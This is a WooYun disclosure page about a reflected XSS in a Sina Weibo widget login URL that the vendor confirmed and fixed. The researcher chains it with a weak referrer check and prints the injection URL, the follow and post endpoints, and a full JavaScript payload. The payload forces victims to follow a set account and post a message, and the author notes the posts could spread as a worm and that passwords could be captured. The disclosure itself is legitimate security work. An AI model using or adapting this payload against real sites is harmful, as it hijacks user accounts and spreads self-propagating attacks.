当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0174297

漏洞标题:新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

相关厂商:新浪微博

漏洞作者: Neeke

提交时间:2016-02-01 23:16

修复时间:2016-03-17 18:12

公开时间:2016-03-17 18:12

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-01: 细节已通知厂商并且等待厂商处理中
2016-02-02: 厂商已经确认,细节仅向厂商公开
2016-02-12: 细节向核心白帽子及相关领域专家公开
2016-02-22: 细节向普通白帽子公开
2016-03-03: 细节向实习白帽子公开
2016-03-17: 细节向公众公开

简要描述:

本来想找个CSRF的,结果找到个XSS,接着又找到一处refer验证不严,结合起来可以刷关注了。

详细说明:

首先,反射XSS在这里:
http://service.weibo.com/widget/public/login.php?source=share&backurl=http://service.weibo.com/share/mobile.php?url=aaaaaaaa',a:(alert(1))//
加关注:
POST:http://widget.weibo.com/relationship/aj_attention.php
wsrc=app_follow_button&uid=XXX
发微博:
POST:http://service.weibo.com/share/aj_share.php
content=新年快了!恭喜发财!
然后我写了段代码测试了一下效果。

(function(){
//set referrer
var meta = document.createElement('meta');
meta.name = 'referrer';
meta.content = 'origin';
document.head.appendChild(meta);
//document.head.appendChild(style);
var iframe = document.createElement('iframe');
iframe.name = 'myframe'
document.head.appendChild(iframe);
//fowllo me
var form = document.createElement('form'),
input1 = document.createElement('input'),
input2 = document.createElement('input');
input1.name = 'wsrc';
input1.value = 'app_follow_button';
input2.name = 'uid';
input2.value = '1719751704';
form.appendChild(input1);
form.appendChild(input2);
form.action = 'http://widget.weibo.com/relationship/aj_attention.php';
form.method = 'post';
form.target = 'myframe';
document.head.appendChild(form);
form.submit();
//create xhr
var xhr = false;
try {
xhr = new XMLHttpRequest()
} catch (d) {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP")
} catch (c) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP")
} catch (b) {
xhr = false
}
}
}
//send message
var data = 'content=新年快了!恭喜发财!';
xhr.open('POST', 'http://service.weibo.com/share/aj_share.php?t=' + new Date().getTime(), false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(data);
})();


用户以登录状态访问上面那个XSS就中招了,本来想全部走AJAX的,但是加关注那里跨域了,行不通,就改成form了,再就是分享这里验证了refer,所以用JS控制当前页面的referrer为origin,然后把上面这一大段JS通过反射XSS远程加载进来就行了,content中再加上链接就可以蠕动起来了。
劫持用户名和密码我没试,但是理论上应该是可以的,因为本来就是微博正常的登录页面,插点JS截获表单数据很容易了。

漏洞证明:

1.png


2.png


3.png


4.png

修复方案:

过滤,转义,验证。

版权声明:转载请注明来源 Neeke@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-02-02 10:05

厂商回复:

感谢支持,漏洞修复中

最新状态:

暂无